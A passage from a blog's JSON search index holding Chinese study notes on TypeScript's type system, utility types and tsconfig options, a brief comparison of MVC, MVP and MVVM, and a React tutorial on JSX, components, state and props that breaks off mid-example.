a.reduce((x,y)=\u0026gt;x+y)\r}\r}\r多态：通过父类抽象方法，让子类可以重写该方法\n类接口和实现的成员修饰符必须相等，不能接口是公有属性，实现变成的私有属性\n接口可以继承多个接口，多个接口用逗号分隔，而且该接口的实现必须满足多个接口的要求\n接口也可以继承类，一个子类可以继承父类的同时还可以实现接口\n接口只能约束类的公有成员，接口可以抽离类的公有，私有，受保护成员\nts类型检查机制：类型推断，类型兼容性，类型保护\n类型推断：ts可以根据规则来自动推断出一个类型，基础类型推断，最佳通用类型推断，以及上下文类型推断\n类型断言可以覆盖ts的自动类型推断，错误的类型断言很危险\n类型兼容：ts允许一个子类类型兼容父类\ntype a = {\raa: number\r}\rtype b = {\raa: number,\rab: string\r}\rlet abc: a = {aa:1}\rlet xyz: b = {aa:2,ab:'hallo'}\rabc = xyz\r// xyz = abc 不兼容，因为abc不符合xyz类型的要求，但是xyz符合abc的类型（在满足类型要求上扩展类型）\r源类型满足目标类型的要求时，源类型可以赋值给目标类型\n函数类型兼容：源函数参数个数必须小于等于目标函数，固定参数可以兼容可选参数和扩展参数，但是可选参数是不兼容固定参数和扩展参数的，扩展参数兼容固定参数和可选参数，而且参数类型必须匹配\nlet abc = (a:number,b:number) =\u0026gt;{}\rlet xyz = (a:number) =\u0026gt;{}\rabc = xyz\r接口的类型兼容：a接口的定义满足b接口的定义时，a的实现可以赋值给b的实现（多兼容少的）\ninterface A{abc: number}\rinterface B{abc: number,xyz: string}\rlet a = (abc: A) =\u0026gt; {}\rlet b = (abc: B) =\u0026gt; {}\rb = a\r类型保护：在某个特定的区块中保证变量属性某个确认的类型，在该区块可以放心使用该类型的属性和方法\n可以用类型也可以用类 if(abc instanceof number){}else{}\n对象属性 if(\u0026lsquo;data\u0026rsquo; in abc){}else{}\n基本类型 if(typeof a === \u0026lsquo;string\u0026rsquo;){}else{}\n类型位词\nfunction isnumber(a: abc | xyz): a is number{\rreturn (a as abc).data !== undefined\r}\r通过返回值来确定类型\n高级类型（这些高级类型更像是工具类型）\n交叉类型与联合类型\ninterface A{abc: number}\rinterface B{abc: number,xyz: string}\rlet hhh : A \u0026amp; B = {\rabc: 123,\rxyz: 'hallo'\r}\rhhh实现具备了A和B接口全部特性，交叉类型是取全部接口的并集\nlet a: number | string = 'hallo'\r联合类型还可以通过字面量来限制变量的取值\nlet a: 1 | 2 | 3\r联合类型对于类只能访问其共有成员（取交集）\nclass a{\rdata(){}\rabc(){}\r}\rclass b{\rdata(){}\rxyz(){}\r}\renum gg{a,b}\rlet hhh = gg.a ? new a() : new b{}\rhhh.data()\r也可以利用联合类型来根据共用成员的值来做类型保护区块\n索引类型（对于索引做类型约束）\ninterface B{abc: number,xyz: string}\rlet key: keyof B\rlet value: B['abc']\rlet obj={a:'hallo',b:'abc',c:'xyz'}\rfunction get\u0026lt;T, K extends keyof T\u0026gt;(obj: T,keys:K[]): T[K][]{\rreturn keys.map(key =\u0026gt; obj[key]) }\rget(obj,['a','b','c'])\r当索引不存在的属性时，ts会报错提示\n映射类型\ninterface A{abc: string,xyz: number, hhh: boolean}\rtype a = Readonly\u0026lt;A\u0026gt;\r可以看到类型别名a是对于属性是只读的\nReadonly的实现是索引类型\ntype Readonly\u0026lt;T\u0026gt; ={readonly [P in keyof T]: T[P]}\r把接口属性变成可选的\ntype b = Partial\u0026lt;A\u0026gt;\rPartial的实现\ntype Partial\u0026lt;T\u0026gt; = {[P in keyof T]?: T[P]}\rRequired将接口属性变成必选\ntype c = Required\u0026lt;A\u0026gt;\rRequired的实现\ntype Required\u0026lt;T\u0026gt; = {[P in keyof T]-?: T[P]}\r抽取接口的指定属性，来创建一个新的类型\ntype abc = Pick\u0026lt;A,'abc','xyz'\u0026gt;\rPick的实现\ntype Pick\u0026lt;T,K extends keyof T\u0026gt; = {[P in K]: T[P]}\rOmit去除指定属性，来创建一个新的类型\ntype abc = Omit\u0026lt;A,'abc','hhh'\u0026gt;\rOmit的实现\ntype Omit\u0026lt;T,K extends keyof any\u0026gt; = Pick\u0026lt;T, Exclude\u0026lt;keyof T,K\u0026gt;\u0026gt;\r上面的被ts官方叫统态（不会创建新的属性）\nRecord通过传入的泛型参数来作为接口的属性和值\ninterface A{abc: string,xyz: number, hhh: boolean}\rtype xyz = 'a' | 'b' | 'c'\rlet abc: Record\u0026lt;xyz, A\u0026gt; = {\ra:{\rabc: 'hallo',\rxyz: 123,\rhhh: true\r},\rb:{\rabc: \u0026quot;abc\u0026quot;,\rxyz: 666,\rhhh: false\r},\rc:{\rabc: 'hhh',\rxyz: 12345,\rhhh: false\r},\r}\rRecord的实现\ntype Record\u0026lt;K extends keyof any, T\u0026gt; = {[P in K]: T}\r条件类型\ntype A\u0026lt;T\u0026gt; = T extends number ? 'number': T extends string ? 'sting': T extends Function ? 'function': 'object'\rtype Ta = A\u0026lt;string\u0026gt;\rtype Tb = A\u0026lt;Function\u0026gt;\r分布式条件类型\ntype Tc = A\u0026lt;string | number\u0026gt;\r下面的例子中diff可以过滤掉T可以赋值给U的属性\ntype diff\u0026lt;T,U\u0026gt; = T extends U ? never: T\rtype Ta\u0026lt;T\u0026gt; = diff\u0026lt;T,undefined | null\u0026gt;\rtype Tb = Ta\u0026lt;string | undefined | null | number\u0026gt;\r实质上diff类型官方已经提供了，叫Exclude\u0026lt;T,U\u0026gt; Ta类型ts官方叫NonNullable\nExtract\u0026lt;T,U\u0026gt;是Exclude\u0026lt;T,U\u0026gt;的取反，Extract\u0026lt;T,U\u0026gt;会T抽取出可以赋值给U的类型，例如：\ntype Tc = Extract\u0026lt;'a'|'b'|'c','a'|'c'\u0026gt;\rReturnType，获取函数返回值的类型\ntype Td = ReturnType\u0026lt;()=\u0026gt;string\u0026gt; ReturnType的实现\ntype ReturnType\u0026lt;T extends (...args: any) =\u0026gt;any\u0026gt; = T extends (...args: any) =\u0026gt; infer R ? R : any\r意思是T可以赋值给一个函数，这个函数接收不指定数量的参数，参数类型为any，返回值也是any，利用infer延迟推断类型，如果类型为R就返回R，否则返回any\nConstructorParameters获取构造函数的构造参数\nclass B{\rconstructor(name: string,pass: string, mail?: string){}\r}\rtype Bb = ConstructorParameters\u0026lt;typeof B\u0026gt;\rConstructorParameters的实现（通过infer来推断构造参数的类型）\ntype ConstructorParameters\u0026lt;T extends abstract new (\u0026hellip;args: any) =\u0026gt; any\u0026gt; = T extends abstract new (\u0026hellip;args: infer P) =\u0026gt; any ? P : never\nParameters获取函数的参数\ntype Tb = Parameters\u0026lt;(a:number,b:string,c?:boolean)=\u0026gt; void\u0026gt;\rParameters的实现\ntype Parameters\u0026lt;T extends (...args: any) =\u0026gt; any\u0026gt; = T extends (...args: infer P) =\u0026gt; any ? P : never\rThisParameterType获取函数的this参数类型\ntype Tc = ThisParameterType\u0026lt;(this: number,a: string) =\u0026gt; void\u0026gt;\rThisParameterType的实现\ntype ThisParameterType\u0026lt;T\u0026gt; = T extends (this: infer U, ...args: never) =\u0026gt; any ? U : unknown\rThisType指定this的类型\nOmitThisParameter去除函数中的this类型\ntype Te = OmitThisParameter\u0026lt;(this: number, a: string) =\u0026gt; string\u0026gt;\rOmitThisParameter的实现\ntype OmitThisParameter\u0026lt;T\u0026gt; = unknown extends ThisParameterType\u0026lt;T\u0026gt; ? T : T extends (...args: infer A) =\u0026gt; infer R ? (...args: A) =\u0026gt; R : T\rUppercase将字符串字面量转换成大写\nLowercase将字符串字面量转换成小写\nCapitalize将字符串字面量的第一个字母转换为大写\nUncapitalize将字符串字面量的第一个字母转换为小写\ntype Ta1 = Uppercase\u0026lt;'Hello'\u0026gt;\rtype Tb1 = Lowercase\u0026lt;Ta1\u0026gt;\rtype Tc1 = Capitalize\u0026lt;Tb1\u0026gt;\rtype Td1 = Uncapitalize\u0026lt;Tc1\u0026gt;\r实现分别为\ntype Uppercase\u0026lt;S extends string\u0026gt; = intrinsic\rtype Lowercase\u0026lt;S extends string\u0026gt; = intrinsic\rtype Capitalize\u0026lt;S extends string\u0026gt; = intrinsic\rtype Uncapitalize\u0026lt;S extends string\u0026gt; = intrinsic\rdeclare\nts允许声明同名接口，新的同名接口的属性将作为新属性（合并接口），但是不允许重复声明接口的类型，例如：\ninterface AA {\rname: string;\r}\rinterface AA {\rid: number;\r}\rlet aa: AA={\rname: 'root',\rid: 1\r}\r注意：接口合并时，非函数类型的属性的类型必须一致，而函数类型的属性将被认为是函数重载，如果使用函数类型的属性时类型不一致，需要提供一个更宽泛的类型（参数和返回值的类型），必须包含其全部类型\n合并接口，按照声明的顺序来排，后声明的接口优先级高于前面声明的接口，而接口内部是从上往下排序，但是有个例外，就是当使用字面量作为类型时，使用字面量当类型的属性将会提升到最顶端\n也可以利用函数重载（后声明的接口具备更高的优先级，请不要在最后面使用泛型，在后面使用泛型会因为优先级的原因导致后面的类型全是泛型）\ninterface BB {\rfuns(id: any):any\r}\rinterface BB {\rfuns(id: string):string\r}\rinterface BB {\rfuns(id: number):number\r}\rlet bb: BB ={\rfuns(id:any){\rreturn id\r}\r}\rlet b1 = bb.funs(1)\rlet b2 = bb.funs('root')\rlet b3 = bb.funs(true)\r同样，命名空间也可以像这样合并，但是非export成员只能在原本的命名空间可见\n注意：当定义了一个类类型时，这个类类型不能合并，因为它是值又是类型的特殊对象\ntsconfig.json配置文件应用\nrootDir（指定输入目录） outDir（指定输出目录） allowJs（是否处理js文件） checkjs（是否检查js文件的语法）\ntsconfig.json的核心compilerOptions，compilerOptions的主要配置分别为target（指定ts编译的目标。例如ES2020，ES5，ESNext等等），module（设置ts使用的模块化系统，当target为ES3，ES5时，module默认为Commonjs，当target为es6或者更高时，默认值为ES6，支持ES2020，UMD，AMD，System，ESNext，以及None选项），jsx（指定jsx文件转译为js文件的输出方式，只影响.tsx文件的输出，支持react，react-jsx，react-jsxdev，preserve，react-native），incremental（表示是否启动增量编译，如果为true时，会将上次编译的工程图信息存储在磁盘上），declaration（表示是否为项目的ts或者js文件生成.d.ts文件，如果需要指定声明文件存储位置，可使用declarationDir属性指定目录，如果只想生成声明文件则可以开启emitDeclarationOnly属性，开启该属性，将不会生成js文件，只生成声明文件，设置声明文件目录，可使用typeRoots属性，该属性默认值为node_modules/@types，这个属性值为数组，可传入1个或者多个声明文件目录，如果只想使用指定声明文件，则可以使用types属性，这个属性值也是一个数组，只有包含在内的声明文件才能被加载引用），sourceMap（是否生成sourcemap文件，sourcemap文件将以.js.map或者.jsx.map的形式被生成与.js文件或者.jsx文件同级目录下，sourcemap文件可以允许调试器和其他工具在生成js文件时，显示原来的ts代码，如果需要生成inlineSourceMap格式的map文件，则需要开启inlineSourceMap属性，这个属性不能与sourceMap属性一起用，声明文件也想生成sourceMap文件，开启declarationMap属性即可），lib（控制lib.d.ts声明文件的库定义文件）\n如果需要开启输出诊断信息，则true一下diagnostics属性，会输出编译时的信息，例如编译时间（Total time）\nallowUmdGlobalAccess，是否允许在模块中以全局变量的方式来访问UMD模块\nmoduleResolution，模块解析的策略，默认为node（相对，非相对导入模块），还有classic策略（该策略，相对导入会解析同级目录下的ts，.d.ts文件，非相对导入会通过node_modules目录来查找模块，如果本级没有，会向上级查找，该模式可用于AMD，System，ES2015模块标准）\n如果开启了incremental增量编译，会生成一个tsconfig.tsbuildinfo的文件，这个文件是增量编译的依赖文件，如果需要指定增量编译的依赖文件的存储位置，可以使用tsBuildInfoFile属性\noutFile属性是将多个互相依赖的文件整合成一个文件，一般用于AMD模块标准中，属性值是被整合成的文件名以及路径\n编译阶段去除全部注释：使用removeComments属性，设置为true\n如果编译阶段不想输出文件（就是只编译不生成），可开启noEmit属性\n如果想编译阶段发生错误时不输出文件，可开启noEmitOnErrot属性\n如果在编译时不生成helper工具函数，可开启noEmitHelpers属性，并且搭配ts-helpers包使用（如果不搭配该包使用，会导致__extends方法未定义），也可以搭配importHelpers属性使用，开启该属性会使用tslib来引入helper函数（tslib就包含了__extends方法），但是这个文件必须模块，helper工具函数会增加文件体积\n如果想ES3或者ES5使用迭代器（降级使用迭代器），可开启downlevelIteration属性，例如扩展符的实现支持是通过helper工具函数的__spread方法来完成的\n开启严格模式，strict，为true时， alwaysStrict（是否对代码注入use strict），noImplicitAny（是否不允许隐式的any类型，开启后必须有类型注解），strictNullChecks（是否不允许将null，undefined赋值给其他类型的变量），strictFunctionTypes（是否不允许函数参数双向协变），strictBindCallApply（是否使用严格的bind，call，apply检查，开启后bind，call，apply的指向不能为空（undefined，null），并且严格按照类型传值），strictPropertyInitialization（类的实例属性是否必须初始化，开启后必须对类的实例进行初始化），noImplicitThis（是否不允许this存在隐式的any类型，由于ts对this类型检查不好，因此会对this使用any类型，开启后this将不允许存在any类型）属性都将默认为true\n如果还需要额外的进行检查，可开启noUnusedLocals（是否不允许存在只声明，但是不使用的局部变量），noUnusedParameters（是否不允许未使用的函数参数），noImplicitReturns（函数中是否必须要有返回值），noFallthroughCasesInSwitch（是否不允许switch语句的case贯穿（fallthrough错误））属性\nswitch语句的case贯穿：当switch语句没有break时，switch语句会依次执行\n模块解析策略，moduleResolution，当mould配置为AMD，UMD，System，ES6时，默认为classic，否则为node\n设置基准目录，baseUrl，解析非绝对路径模块名时的基准目录，当为\u0026rsquo;./\u0026lsquo;时，表示在tsconfig.json所在的目录开始查找文件\n路径设置，paths，将模块路径映射到相对于baseUrl定位的其他路径配置，例如：\n\u0026quot;paths\u0026quot;: {\r\u0026quot;@src/*\u0026quot;: [\u0026quot;src/*\u0026quot;],\r\u0026quot;test\u0026quot;: [\u0026quot;src/test/test.ts\u0026quot;]\r}\r...\rimport test from 'test'\r指定多个目录作为根目录（创建一个虚拟目录），rootDirs，允许编译器在这些目录中解析相对于的模块导入，例如：\n'rootDirs': ['src','build']\r这个将表示src目录和build目录属于同一个虚拟目录，如果build目录存在依赖，但是ts源码文件在src目录下，需要使用build目录的依赖时，可以使用这个，不需要编译后再修改依赖路径\n指定类型文件的根目录，typeRoots，默认node_modules/@types下的包都是可见的，如果指定了typeRoots将表示从该目录里查找类型文件\n指定全局范围的包，types，默认情况下typeRoots的包都会被包含到编译过程中，除非指定types，只有列出的包才能被包含在全局范围中，例如：\n\u0026quot;types\u0026quot;: ['node','jest','express']\r如果想在编译阶段打印输出的文件，可开启listEmittedFiles属性\n如果想在编译阶段打印进行编译的文件（其中包括引用的声明文件），可开启listFiles属性\nallowSyntheticDefaultImports表示是否允许默认导出，当为true时表示一个模块没有默认导出，也认为其他模块也能像默认导出一样导入使用该模块\nesModuleInterop表示是否开启ES模块的互操作，可以使用ES模块的方式导入Commonjs包，当模块没有类型时，可直接require()方式引用，如果具备类型声明，那么需要使用import的方式导入，开启该选项，会默认开启allowSyntheticDefaultImports\n开启esModuleInterop属性，将允许export = xxx的形式导出，并且使用import = xxx 的方式导入\nsourceRoot表示指定调试器需要定位的ts文件位置，而不是相对于源文件的路径\nmapRoot表示指定调试器需要定位的sourcemap文件的位置，而不是生成的文件位置\ninlineSourceMap是否开启将sourcemap文件内容生成内联字符串的方式写入到对于的js文件中，而不是生成.js.map文件\ninlineSources，是否开启将源文件的所有内容生成内联字符并且写入到sourcemap文件中，和inlineSourceMap功能类似\nexperimentalDecorators，是否开启装饰器的特性\nemitDecoratorMetadata，是否允许装饰器使用反射数据的特性\nskipLibCheck，表示是否可以跳过检查声明文件，开启可以省去不少编译时间，但是会牺牲类型系统的准确性\n因为ts是大小写敏感的，为了避免开发者在不同大小写敏感规则下的操作系统下开发而导致的问题，可以开启forceConsistentCasingInFileNames，开启该选项表示当开发者正在使用和系统不一致的大小写入规则时，会抛出错误\nfiles表示指定ts项目需要包含的文件列表\ninclude表示指定需要包含在ts项目的文件或者文件匹配路径，如果配置了files，那么默认值为[]，如果没有设置默认值为[\u0026rsquo;**/*\u0026rsquo;]，就是包含目录下的所有文件\nexclude表示指定解析include配置中需要跳过的文件或者文件匹配路径，例如node_modules\nextends配置指为字符串，表示声明当前配置需要继承另一个配置的路径，ts会向加载extends的配置文件，在使用当前的tsconfig.json文件的配置来覆盖继承文件里的配置\n","permalink":"https://xiaochenabc123.github.io/posts/58/","summary":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc \u0026ndash;init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n\u0026ldquo;include\u0026rdquo;:[\u0026quot;./test1.ts\u0026quot;] // 指定编译哪个ts文件 \u0026ldquo;excclude\u0026rdquo;:[\u0026quot;./test.ts\u0026quot;] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;","title":"TypeScript学习笔记"},{"content":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode\n","permalink":"https://xiaochenabc123.github.io/posts/56/","summary":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode","title":"简单了解MVC，MVP和MVVM之间的不同与联系"},{"content":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n\u0026lt;script type=\u0026quot;text/babel\u0026quot;\u0026gt;\rReactDOM.render(\r\u0026lt;h1\u0026gt;hallo,react!!!\u0026lt;/h1\u0026gt;,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r);\r\u0026lt;/script\u0026gt;\r使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = \u0026lt;h1\u0026gt;hallo\u0026lt;/h1\u0026gt;;\r像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){\rreturn yes.name;\r}\rconst yes = {\rname: \u0026quot;react\u0026quot;\r};\rconst hallo = \u0026lt;h1\u0026gt;hallo,{hallo(yes)}\u0026lt;/h1\u0026gt;;\rReactDOM.render(\rhallo,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r);\r当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\u0026quot;h1\u0026quot;,{class: \u0026quot;main\u0026quot;},React.createElement(\u0026quot;p\u0026quot;,null,\u0026quot;hallo word!!!\u0026quot;))\r/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */\rReactDOM.render(hallo,document.getElementById(\u0026quot;app\u0026quot;))\r/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/\rreact脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react\nimport React from \u0026ldquo;react\u0026rdquo; import ReactDOM from \u0026ldquo;react-dom\u0026rdquo;\nReact元素的属性名采用驼峰命名法\nclass就需要改为className，for要改为htmlFor等等，例如：\nconst app = (\u0026lt;div className=\u0026quot;app\u0026quot;\u0026gt;hallo\u0026lt;/div\u0026gt;)\r如果一个元素中没有子节点可以直接写为\n推荐使用小括号包裹jsx，避免陷入自动插入分号陷阱\nJavaScript表达式可使用大括号{}来包裹，直接使用，例如：\nconst app = (\u0026lt;div\u0026gt;hallo，{3 \u0026lt; 8 ? \u0026quot;react\u0026quot; : \u0026quot;word\u0026quot;}\u0026lt;/div\u0026gt;)\r任何数据类型和函数调用都可以（对象除外），表示式的特点就是有值就可以，jsx本身也是个JavaScript表达式\n因为if或者for之类的语句不能出现在大括号中\n条件渲染（根据条件进行渲染指定jsx结构）\nimport React from \u0026quot;react\u0026quot;\rimport ReactDOM from \u0026quot;react-dom\u0026quot;\rconst datamain = true;\rconst hallo = () =\u0026gt; {\rif(datamain){\rreturn \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;;\r}\rreturn \u0026lt;div\u0026gt;数据加载完成\u0026lt;/div\u0026gt;;\r}\rconst app =(\r\u0026lt;div\u0026gt;\r{hallo()}\r\u0026lt;/div\u0026gt;\r)\rReactDOM.render(app,document.getElementById(\u0026quot;app\u0026quot;))\r当然也是支持三元表达式的，例如：\nconst Data = () =\u0026gt; {\rreturn datamain ? (\u0026lt;div\u0026gt;yes\u0026lt;/div\u0026gt;) : (\u0026lt;div\u0026gt;no\u0026lt;/div\u0026gt;)\r}\r列表渲染\nconst arrs = [\r{id: 1,name: \u0026quot;root\u0026quot;},\r{id: 2,name: \u0026quot;admin\u0026quot;},\r{id:3,name: \u0026quot;user\u0026quot;}\r]\rconst lists = (\r\u0026lt;ul\u0026gt;\r{arrs.map(item =\u0026gt; \u0026lt;li key={item.id}\u0026gt;{item.name}\u0026lt;/li\u0026gt;)}\r\u0026lt;/ul\u0026gt;\r)\rReactDOM.render(lists,document.getElementById(\u0026quot;app\u0026quot;))\rjsx样式\n行内样式style，类className，例如：\nconst app = (\u0026lt;div style={{color: \u0026quot;#ccc\u0026quot;}}\u0026gt;hallo\u0026lt;/div\u0026gt;)\rreact组件的概念和vue组件一样，拼装积木，重复性，独立性\n函数创建组件\n函数名开头必须大写（否则报错），函数组件必须要有返回值（否则报错），如果返回值为null，就不渲染任何内容，例如：\nfunction Hello(){\rreturn(\r\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;\r)\r}\rReactDOM.render(\u0026lt;Hello /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r或者\nconst Hello = () =\u0026gt; (\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;)\r类创建组件\n同样类名开头也要是大写，而且类组件要继承React.Component父类，使用父类中的方法和属性，而且还要提供render()方法，render()还要有返回值\nclass Hello extends React.Component{\rrender(){\rreturn (\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;)\r}\r}\rReactDOM.render(\u0026lt;Hello /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r如果组件很多，应该放到单独的js文件，独立化个体，导入react，导出组件（export），用到该组件就导入\n事件绑定\nreact事件采用了驼峰命名法，比如onClick，onMouseEnter，onFocus，例如：\nclass Hello extends React.Component{\rmainClick(){\rconsole.log(\u0026quot;被点击了\u0026quot;)\r}\rrender(){\rreturn (\u0026lt;div onClick={this.mainClick}\u0026gt;hallo,react\u0026lt;/div\u0026gt;)\r}\r}\r注意：如果是函数组件，就不需要加this，直接return (hallo,react)\n事件对象\n可以通过事件处理程序的参数来获取到事件对象，在react中事件对象又叫为合成事件，兼容所有浏览器，无需担心浏览器兼容问题\n阻止浏览器的默认行为\nclass Hello extends React.Component{\rmainClick(e){\re.preventDefault();\rconsole.log(\u0026quot;被点击了\u0026quot;)\r}\rrender(){\rreturn (\u0026lt;a onClick={this.mainClick} href=\u0026quot;https://xiaochenabc123.test.com\u0026quot;\u0026gt;hallo,react\u0026lt;/a\u0026gt;)\r}\r}\r状态组件（状态即数据的更新）\n函数组件为无状态组件，类组件为有状态组件\n如果数据不需要变化就用函数组件，否则就类组件\n状态（state）是组件内部的私有数据，只能在组件内部使用，state的值是一个对象，表示组件可以存在多个数据\n第一种存储state方法\nconstructor(){\rsuper()\rthis.state ={\rcount :0\r}\r}\r第二种存储state方法（推荐）\nstate = {\rcount: 0\r}\r获取state值\nrender(){\rreturn (\u0026lt;div\u0026gt;{this.state.count}\u0026lt;/div\u0026gt;)\r}\r修改状态（状态可变）\nthis.setState({要修改的数据})\nrender(){\rreturn (\u0026lt;div onClick={()=\u0026gt;{\rthis.setState({\rcount: this.state.count + 1\r})\r}}\u0026gt;{this.state.count}\u0026lt;/div\u0026gt;)\r}\r}\r注意：不要直接修改state的值，setState的作用是先更新state，然后更新视图\nstate抽离出逻辑\n注意：箭头函数自身并不绑定this，箭头函数中this取决于外部环境\nclass Hello extends React.Component{\rstate = {\rcount: 0\r}\rmainClick(){\rthis.setState({\rcount: this.state.count + 1\r})\r}\rrender(){\rreturn (\r\u0026lt;div\u0026gt;\r\u0026lt;div onClick={()=\u0026gt; this.mainClick()}\u0026gt;+1\u0026lt;/div\u0026gt;\r\u0026lt;div\u0026gt;{this.state.count}\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rReactDOM.render(\u0026lt;Hello /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r解决绑定事件的this指向问题\n如果不想利用指向函数（也可以给事件函数定义为指向函数），也可以利用bind()方法，例如：\nthis.mainClick = this.mainClick.bind(this)\r受控组件（其值受到react所控制），例如：\nstate = {\rtxt: \u0026quot;\u0026quot;\r}\r\u0026lt;div\u0026gt;\r\u0026lt;input type=\u0026quot;text\u0026quot; value={this.state.txt}\ronChange ={ e =\u0026gt; this.setState({\rtxt: e.target.value\r})}\r/\u0026gt;\r\u0026lt;div\u0026gt;\r{this.state.txt}\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\rinput（text），textarea，select都是用value控制，而input（CheckBox）就用checked控制\n需要根据表单元素来判断其使用不同的类型控制（可以使用三元表达式来指示）\n如果是非受控组件，想获取属性值，通过使用React.createRef()创建ref对象，使用ref来获取，例如：\nmainClick = () =\u0026gt;{\rconsole.log(this.Ref.current.value)\r}\rconstructor(){\rsuper()\rthis.Ref = React.createRef()\r}\r\u0026lt;div\u0026gt;\r\u0026lt;input type=\u0026quot;text\u0026quot; ref={this.Ref}/\u0026gt;\r\u0026lt;div onClick={this.mainClick}\u0026gt;\rhallo\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r深入学习React组件\n组件通讯（组件是独立并且封闭的，需要共享组件的数据，就需要组件通讯了）\n接收传递给组件的数据需要通过props，函数组件通过props参数接收，类组件通过this.props接收，例如：\nconst Hallo = props =\u0026gt;{\rconsole.log(props)\rreturn (\r\u0026lt;div\u0026gt;数据：{props.name}\u0026lt;/div\u0026gt;\r)\r}\rReactDOM.render(\u0026lt;Hallo name=\u0026quot;root\u0026quot;/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r从上面返回的props中可以看出是一个对象，也就是说可以传递多个数据\nclass Hi extends React.Component{\rrender(){\rreturn(\r\u0026lt;div\u0026gt;数据：{this.props.name}\u0026lt;/div\u0026gt;\r)\r}\r}\rReactDOM.render(\u0026lt;Hi name=\u0026quot;root\u0026quot; pass={123}/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\rprops可以传递任意类型的数据，props是只读的对象，只能读取属性的值，不能修改该对象，使用类组件，如果有构造函数，需要将其props传递给super()，通过props参数，否则无法在构造函数获取props（super(props)）\n组件的通讯有三种，分别是父对子，子对父，兄弟\n父组件传递数据给子组件：只需要在父组件中定义子组件的属性，例如：\nconst Hallo = props =\u0026gt;{\rconsole.log(props)\rreturn (\r\u0026lt;span\u0026gt;{props.name}\u0026lt;/span\u0026gt;\r)\r}\rclass Hi extends React.Component{\rstate = {\rName: 